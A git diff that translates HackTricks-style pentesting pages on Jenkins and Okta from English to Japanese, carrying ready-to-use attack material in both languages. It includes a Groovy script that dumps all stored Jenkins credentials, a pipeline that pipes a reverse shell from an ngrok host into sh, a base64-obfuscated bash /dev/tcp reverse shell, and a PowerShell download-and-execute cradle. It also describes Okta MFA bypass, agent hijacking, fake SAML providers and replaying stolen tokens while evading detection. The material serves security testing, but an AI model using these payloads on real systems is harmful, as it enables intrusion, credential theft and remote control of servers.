Base64 encode the cookie data - ``` +```javascript +cookie = base64.encode( +username + ":" + tokenExpiryTime + ":" + tokenSignature +) // クッキーのデータをBase64エンコード +``` #### Step 3: Code Execution **Session Authentication** -- **Fetch CSRF and Session Tokens:** - - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`. - - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie. +- **CSRFおよびセッショントークンを取得:** +- `/crumbIssuer/api/json`にリクエストを送信して`Jenkins-Crumb`を取得します。 +- 応答から`JSESSIONID`をキャプチャし、remember-meクッキーと一緒に使用します。 **Command Execution Request** -- **Send a POST Request with Groovy Script:** +- **Groovyスクリプトを使用してPOSTリクエストを送信:** - ```bash - curl -X POST "$JENKINS_URL/scriptText" \ - --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ - --header "Jenkins-Crumb: $CRUMB" \ - --header "Content-Type: application/x-www-form-urlencoded" \ - --data-urlencode "script=$SCRIPT" - ``` +```bash +curl -X POST "$JENKINS_URL/scriptText" \ +--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ +--header "Jenkins-Crumb: $CRUMB" \ +--header "Content-Type: application/x-www-form-urlencoded" \ +--data-urlencode "script=$SCRIPT" +``` - - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment. +- Groovyスクリプトは、システムレベルのコマンドやJenkins環境内の他の操作を実行するために使用できます。 -The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely. +提供されたcurlコマンドの例は、必要なヘッダーとクッキーを使用してJenkinsにリクエストを送信し、任意のコードを安全に実行する方法を示しています。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 8699b8159..0fdc19b37 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,10 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -You can **dump all the secrets from the Groovy Script console** in `/script` running this code +> これらのスクリプトは `credentials.xml` ファイル内の秘密のみをリストしますが、**ビルド構成ファイル**にも**追加の資格情報**が含まれている可能性があります。 +`/script` の Groovy Script コンソールからすべての秘密を**ダンプ**するには、このコードを実行します。 ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '') return ``` - -#### or this one: - +#### またはこれ： ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( - com.cloudbees.plugins.credentials.Credentials.class +com.cloudbees.plugins.credentials.Credentials.class ) for (c in creds) { - println(c.id) - if (c.properties.description) { - println(" description: " + c.description) - } - if (c.properties.username) { - println(" username: " + c.username) - } - if (c.properties.password) { - println(" password: " + c.password) - } - if (c.properties.passphrase) { - println(" passphrase: " + c.passphrase) - } - if (c.properties.secret) { - println(" secret: " + c.secret) - } - if (c.properties.secretBytes) { - println(" secretBytes: ") - println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) - println("") - } - if (c.properties.privateKeySource) { - println(" privateKey: " + c.getPrivateKey()) - } - if (c.properties.apiToken) { - println(" apiToken: " + c.apiToken) - } - if (c.properties.token) { - println(" token: " + c.token) - } - println("") +println(c.id) +if (c.properties.description) { +println(" description: " + c.description) +} +if (c.properties.username) { +println(" username: " + c.username) +} +if (c.properties.password) { +println(" password: " + c.password) +} +if (c.properties.passphrase) { +println(" passphrase: " + c.passphrase) +} +if (c.properties.secret) { +println(" secret: " + c.secret) +} +if (c.properties.secretBytes) { +println(" secretBytes: ") +println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) +println("") +} +if (c.properties.privateKeySource) { +println(" privateKey: " + c.getPrivateKey()) +} +if (c.properties.apiToken) { +println(" apiToken: " + c.apiToken) +} +if (c.properties.token) { +println(" token: " + c.token) +} +println("") } ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 89ca15223..2cbbf64a3 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -2,42 +2,36 @@ {{#include ../../banners/hacktricks-training.md}} -## Creating a new Pipeline +## 新しいパイプラインの作成 -In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:** +「新しいアイテム」（`/view/all/newJob`でアクセス可能）で**パイプライン**を選択します: ![](<../../images/image (235).png>) -In the **Pipeline section** write the **reverse shell**: +**パイプラインセクション**に**リバースシェル**を書きます: ![](<../../images/image (285).png>) - ```groovy pipeline { - agent any +agent any - stages { - stage('Hello') { - steps { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh - ''' - } - } - } +stages { +stage('Hello') { +steps { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh +''' +} +} +} } ``` - -Finally click on **Save**, and **Build Now** and the pipeline will be executed: +最後に**Save**をクリックし、**Build Now**をクリックすると、パイプラインが実行されます： ![](<../../images/image (228).png>) -## Modifying a Pipeline +## パイプラインの修正 -If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed. +構成ファイルにアクセスできる場合は、単に**リバースシェルを追加して修正**し、それを実行するか、実行されるのを待つことができます。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f16096070..e32ce1565 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -2,39 +2,35 @@ {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## プロジェクトの作成 -This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). +この方法は非常に騒がしいです。なぜなら、まったく新しいプロジェクトを作成する必要があるからです（明らかに、ユーザーが新しいプロジェクトを作成することが許可されている場合にのみ機能します）。 -1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob` -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ -3. Click **Build now** - 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *` - 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`** +1. **新しいプロジェクトを作成**（フリースタイルプロジェクト）するには、「新しいアイテム」をクリックするか、`/view/all/newJob`に移動します。 +2. **ビルド**セクション内で**シェルを実行**を設定し、PowerShell EmpireランチャーまたはMeterpreter PowerShellを貼り付けます（_unicorn_を使用して取得できます）。ペイロードを_PowerShell.exe_で開始し、_powershell_を使用しないでください。 +3. **今すぐビルド**をクリックします。 +1. **今すぐビルド**ボタンが表示されない場合でも、**設定** --> **ビルドトリガー** --> `定期的にビルド`に移動し、`* * * * *`のcronを設定できます。 +2. cronを使用する代わりに、**リモートでビルドをトリガー**する設定を使用できます。この場合、ジョブをトリガーするためにAPIトークン名を設定するだけです。次に、ユーザープロファイルに移動し、**APIトークンを生成**します（このAPIトークンをジョブをトリガーするために呼んだAPIトークンと同じ名前にします）。最後に、次のコマンドでジョブをトリガーします：**`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## プロジェクトの変更 -Go to the projects and check **if you can configure any** of them (look for the "Configure button"): +プロジェクトに移動し、**構成できるかどうかを確認**します（「構成ボタン」を探してください）： ![](<../../images/image (265).png>) -If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others). +**構成** **ボタン**が見えない場合、あなたはおそらくそれを**構成できません**（ただし、すべてのプロジェクトを確認してください。いくつかのプロジェクトは構成できるかもしれません）。 -Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`). +または、各プロジェクトで**パスにアクセスを試みて**ください`/job//configure`または`/me/my-views/view/all/job//configure`（例：`/job/Project0/configure`または`/me/my-views/view/all/job/Project0/configure`）。 -## Execution +## 実行 -If you are allowed to configure the project you can **make it execute commands when a build is successful**: +プロジェクトを構成することが許可されている場合、**ビルドが成功したときにコマンドを実行させることができます**： ![](<../../images/image (98).png>) -Click on **Save** and **build** the project and your **command will be executed**.\ -If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. +**保存**をクリックし、プロジェクトを**ビルド**すると、あなたの**コマンドが実行されます**。\ +リバースシェルを実行していない場合は、単純なコマンドを実行している場合、**ビルドの出力内でコマンドの出力を見ることができます**。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 33821cc03..488389eab 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,24 +4,21 @@ ## Jenkins RCE with Groovy Script -This is less noisy than creating a new project in Jenkins - -1. Go to _path_jenkins/script_ -2. Inside the text box introduce the script +これはJenkinsで新しいプロジェクトを作成するよりも騒がしくありません。 +1. _path_jenkins/script_に移動します。 +2. テキストボックス内にスクリプトを入力します。 ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` +コマンドを実行するには、次のようにします: `cmd.exe /c dir` -You could execute a command using: `cmd.exe /c dir` +**linux** では、次のようにできます: **`"ls /".execute().text`** -In **linux** you can do: **`"ls /".execute().text`** - -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. - -**Another useful groovy script** is (replace \[INSERT COMMAND]): +テキスト内で _引用符_ と _シングルクォート_ を使用する必要がある場合は、_"""PAYLOAD"""_ (トリプルダブルクォート) を使用してペイロードを実行できます。 +**別の便利なgroovyスクリプト** は ( \[INSERT COMMAND] を置き換えてください): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` - -### Reverse shell in linux - +### Linuxにおけるリバースシェル ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` +### Windowsでのリバースシェル -### Reverse shell in windows - -You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: - +PSリバースシェルを用意したHTTPサーバーを作成し、Jenkinsを使用してそれをダウンロードして実行できます: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` +### スクリプト -### Script - -You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). - -You can use MSF to get a reverse shell: +このプロセスを[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)で自動化できます。 +MSFを使用してリバースシェルを取得できます: ``` msf> use exploit/multi/http/jenkins_script_console ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e682996c2..04d9b97cb 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -2,117 +2,113 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices. +[Okta, Inc.](https://www.okta.com/)は、クラウドベースのソフトウェアソリューションでアイデンティティおよびアクセス管理分野で認識されています。これらのソリューションは、さまざまな現代アプリケーションにおけるユーザー認証を簡素化し、安全にすることを目的としています。これらは、機密データを保護しようとする企業だけでなく、アプリケーション、ウェブサービス、デバイスにアイデンティティ管理を統合したい開発者にも対応しています。 -The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to: +Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォームは、以下を含む製品群を網羅していますが、これに限定されません： -- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications. -- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification. -- **Lifecycle Management**: Automates user account creation, update, and deactivation processes. -- **Universal Directory**: Enables centralized management of users, groups, and devices. -- **API Access Management**: Secures and manages access to APIs. +- **シングルサインオン (SSO)**: 複数のアプリケーションで1セットのログイン資格情報を使用することで、ユーザーアクセスを簡素化します。 +- **多要素認証 (MFA)**: 複数の確認手段を要求することでセキュリティを強化します。 +- **ライフサイクル管理**: ユーザーアカウントの作成、更新、無効化プロセスを自動化します。 +- **ユニバーサルディレクトリ**: ユーザー、グループ、デバイスの集中管理を可能にします。 +- **APIアクセス管理**: APIへのアクセスを保護し、管理します。 -These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena. +これらのサービスは、データ保護を強化し、ユーザーアクセスを簡素化することを目的としており、セキュリティと利便性の両方を向上させます。Oktaのソリューションの多様性は、さまざまな業界で人気の選択肢となっており、大企業、小規模企業、個々の開発者にとっても有益です。2021年9月の最新情報では、Oktaはアイデンティティおよびアクセス管理 (IAM) 分野で著名な存在として認識されています。 > [!CAUTION] -> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**. +> Oktaの主な目的は、外部アプリケーションへの異なるユーザーおよびグループへのアクセスを構成することです。もしあなたが**Okta環境で管理者権限を侵害することができれば、会社が使用している他のすべてのプラットフォームを**侵害することが非常に可能性が高いです。 > [!TIP] -> To perform a security review of an Okta environment you should ask for **administrator read-only access**. +> Okta環境のセキュリティレビューを実施するには、**管理者の読み取り専用アクセス**を要求する必要があります。 -### Summary +### 概要 -There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\ -These users can be inside **groups**.\ -There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)... +**ユーザー**（これは**Oktaに保存される**、構成された**アイデンティティプロバイダー**からログインする、または**Active Directory**やLDAPを介して認証されることができます）。\ +これらのユーザーは**グループ**内に存在することがあります。\ +また、**認証者**も存在します：パスワードやWebAuthn、メール、電話、Okta Verifyなどのさまざまな2FAの認証オプション（これらは有効または無効にすることができます）... -Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application. +次に、Oktaと同期された**アプリケーション**があります。各アプリケーションは、情報を共有するために**Oktaとのマッピング**を持っています（メールアドレス、名前など）。さらに、各アプリケーションは**認証ポリシー**内に存在し、ユーザーがアプリケーションに**アクセス**するために必要な**認証者**を示します。 > [!CAUTION] -> The most powerful role is **Super Administrator**. +> 最も強力な役割は**スーパ管理者**です。 > -> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**. +> 攻撃者が管理者アクセスでOktaを侵害した場合、すべての**Oktaを信頼するアプリ**は非常に可能性が高く**侵害される**でしょう。 -## Attacks +## 攻撃 -### Locating Okta Portal +### Oktaポータルの特定 -Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**. +通常、企業のポータルは**companyname.okta.com**にあります。そうでない場合は、**companyname.**の単純な**バリエーション**を試してください。見つからない場合、組織が**CNAME**レコードを持っている可能性もあります。例えば、**`okta.companyname.com`**が**Oktaポータル**を指している場合です。 -### Login in Okta via Kerberos +### Kerberosを介したOktaへのログイン -If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard. +もし**`companyname.kerberos.okta.com`**がアクティブであれば、**KerberosがOktaアクセスに使用されており、通常は**MFA**をバイパスします**。AD内でKerberos認証されたOktaユーザーを見つけるには、**`getST.py`**を**適切なパラメータ**で実行します。**ADユーザーのチケット**を取得したら、RubeusやMimikatzなどのツールを使用して制御されたホストに**注入**し、**`clientname.kerberos.okta.com`がインターネットオプションの「イントラネット」ゾーンにあることを確認します**。特定のURLにアクセスすると、JSONの「OK」レスポンスが返され、Kerberosチケットの受け入れが示され、Oktaダッシュボードへのアクセスが許可されます。 -Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta. +**Oktaサービスアカウントを委任SPNで侵害することで、シルバーチケット攻撃が可能になります。**ただし、Oktaのチケット暗号化に**AES**を使用しているため、AESキーまたは平文パスワードを持っている必要があります。**`ticketer.py`を使用して被害者ユーザーのチケットを生成し、ブラウザを介してOktaに認証するために配信します。** -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。** -### Hijacking Okta AD Agent +### Okta ADエージェントのハイジャック -This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key'). +この技術は、**ユーザーを同期し、認証を処理するサーバー上のOkta ADエージェントにアクセスする**ことを含みます。**`OktaAgentService.exe.config`**内の設定を調査し、特に**DPAPI**を使用してAgentTokenを復号化することで、攻撃者は認証データを**傍受および操作する**可能性があります。これにより、Okta認証プロセス中にユーザー資格情報を平文で**監視**および**キャプチャ**するだけでなく、認証試行に**応答する**ことができ、不正アクセスを可能にしたり、Oktaを介してユニバーサル認証を提供したりすることができます（「スケルトンキー」のように）。 -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。** -### Hijacking AD As an Admin +### 管理者としてADをハイジャック -This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment. +この技術は、最初にOAuthコードを取得し、その後APIトークンを要求することでOkta ADエージェントをハイジャックすることを含みます。トークンはADドメインに関連付けられ、**コネクタが偽のADエージェントを確立するために名前付けされます**。初期化により、エージェントは**認証試行を処理し、Okta APIを介して資格情報をキャプチャ**します。このプロセスを簡素化するための自動化ツールが利用可能で、Okta環境内で認証データを傍受および処理するシームレスな方法を提供します。 -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。** -### Okta Fake SAML Provider +### Oktaの偽SAMLプロバイダー -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。** -The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner. +この技術は、**偽のSAMLプロバイダーを展開する**ことを含みます。特権アカウントを使用してOktaのフレームワーク内に外部アイデンティティプロバイダー（IdP）を統合することで、攻撃者は**IdPを制御し、任意の認証要求を承認することができます**。このプロセスには、Okta内にSAML 2.0 IdPを設定し、ローカルホストファイルを介してリダイレクトするためにIdPシングルサインオンURLを操作し、自己署名証明書を生成し、Okta設定をユーザー名またはメールアドレスに一致させることが含まれます。これらの手順を成功裏に実行することで、個々のユーザー資格情報を必要とせずに任意のOktaユーザーとして認証でき、アクセス制御を大幅に強化することができます。 -### Phishing Okta Portal with Evilgnix +### Evilgnixを使用したOktaポータルのフィッシング -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal. +[**このブログ記事**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)では、Oktaポータルに対するフィッシングキャンペーンの準備方法が説明されています。 -### Colleague Impersonation Attack +### 同僚のなりすまし攻撃 -The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**. +**各ユーザーが持ち、変更できる属性**（メールや名前など）はOktaで設定できます。もし**アプリケーション**が、ユーザーが**変更できる**属性をIDとして**信頼している**場合、そのユーザーは**そのプラットフォーム内で他のユーザーをなりすますことができます**。 -Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change). +したがって、アプリが**`userName`**フィールドを信頼している場合、通常はそのフィールドを変更できないため（通常はそのフィールドを変更できないため）、例えば**`primaryEmail`**を信頼している場合、同僚のメールアドレスに**変更することができ、なりすますことができます**（メールにアクセスし、変更を承認する必要があります）。 -Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\ -Therefore, the app should have this field enabled if it exists: +このなりすましは、各アプリケーションがどのように設定されているかに依存することに注意してください。変更したフィールドを信頼し、更新を受け入れるアプリケーションのみが侵害されます。\ +したがって、アプリはこのフィールドが存在する場合に有効にする必要があります：
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently). +他のアプリケーションが脆弱であったが、Okta設定にそのフィールドがなかったのを見たこともあります（最終的に異なるアプリは異なる設定がされています）。 -The best way to find out if you could impersonate anyone on each app would be to try it! +各アプリで誰かをなりすますことができるかどうかを確認する最良の方法は、試してみることです！ -## Evading behavioural detection policies +## 行動検出ポリシーの回避 -Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page. +Oktaの行動検出ポリシーは遭遇するまで不明な場合がありますが、**それらを回避する**には、**Oktaアプリケーションに直接ターゲットを絞る**ことで、主要なOktaダッシュボードを避けることができます。**Oktaアクセストークン**を使用して、主要なログインページの代わりに**アプリケーション固有のOkta URL**でトークンを再生します。 -Key recommendations include: +主な推奨事項は以下の通りです： -- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens. -- Ensure **consistent user-agent strings** between the client and replayed access tokens. -- **Refrain from replaying** tokens from different users from the same IP address. -- Exercise caution when replaying tokens against the Okta dashboard. -- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic. +- **人気のある匿名プロキシやVPNサービスを使用しない**で、キャプチャしたアクセストークンを再生する際には注意してください。 +- クライアントと再生されたアクセストークンの間で**一貫したユーザーエージェント文字列**を確保してください。 +- **異なるユーザーのトークンを同じIPアドレスから再生しない**でください。 +- Oktaダッシュボードに対してトークンを再生する際には注意してください。 +- 被害者企業のIPアドレスを知っている場合は、**そのIPまたはその範囲にトラフィックを制限し、他のすべてのトラフィックをブロックしてください**。 -## Okta Hardening +## Oktaの強化 -Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible: +Oktaには多くの可能な設定があり、このページではそれらをできるだけ安全にするためのレビュー方法を見つけることができます： {{#ref}} okta-hardening.md {{#endref}} -## References +## 参考文献 - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers) - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index a7dac96a7..cd664fc7d 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,72 +6,72 @@ ### People -From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs). +攻撃者の視点から見ると、これは非常に興味深いです。なぜなら、**登録されているすべてのユーザー**、その**メール**アドレス、**所属しているグループ**、**プロフィール**、さらには**デバイス**（モバイルとそのOS）を見ることができるからです。 -For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**". +ホワイトボックスレビューでは、**「保留中のユーザーアクション」**や**「パスワードリセット」**が複数存在しないことを確認してください。 ### Groups -This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\ -It's possible to see the **people included inside groups** and **apps assigned** to each group. +ここでは、Oktaで作成されたすべてのグループを見つけることができます。異なるグループ（**権限のセット**）が**ユーザー**に付与される可能性を理解することは興味深いです。\ +**グループに含まれる人々**や**各グループに割り当てられたアプリ**を見ることができます。 -Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members. +もちろん、**admin**という名前のグループは興味深いです。特に**Global Administrators**グループを確認し、最も特権のあるメンバーが誰であるかを学んでください。 -From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3). +ホワイトボックスレビューでは、**グローバル管理者は5人以下であるべきです**（2人または3人が理想です）。 ### Devices -Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not. +ここでは、すべてのユーザーの**デバイスのリスト**を見つけることができます。**アクティブに管理されているかどうか**も確認できます。 ### Profile Editor -Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**. +ここでは、名前、姓、メール、ユーザー名などの重要な情報がOktaと他のアプリケーションの間でどのように共有されているかを観察できます。これは興味深いです。なぜなら、ユーザーが**Oktaでフィールドを変更できる**（名前やメールなど）場合、それが**外部アプリケーション**によってユーザーを**識別**するために使用されると、内部者が他のアカウントを**乗っ取る**可能性があるからです。 -Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it). +さらに、Oktaのプロフィール**`User (default)`**では、各**ユーザー**が持っている**フィールド**と、ユーザーが**書き込み可能**なフィールドを確認できます。管理パネルが見えない場合は、**プロフィール情報を更新**するために移動し、どのフィールドを更新できるかを確認してください（メールアドレスを更新するには確認が必要です）。 ### Directory Integrations -Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories. +ディレクトリは、既存のソースから人々をインポートすることを可能にします。ここでは、他のディレクトリからインポートされたユーザーを見ることができると思います。 -I haven't seen it, but I guess this is interesting to find out **other directories that 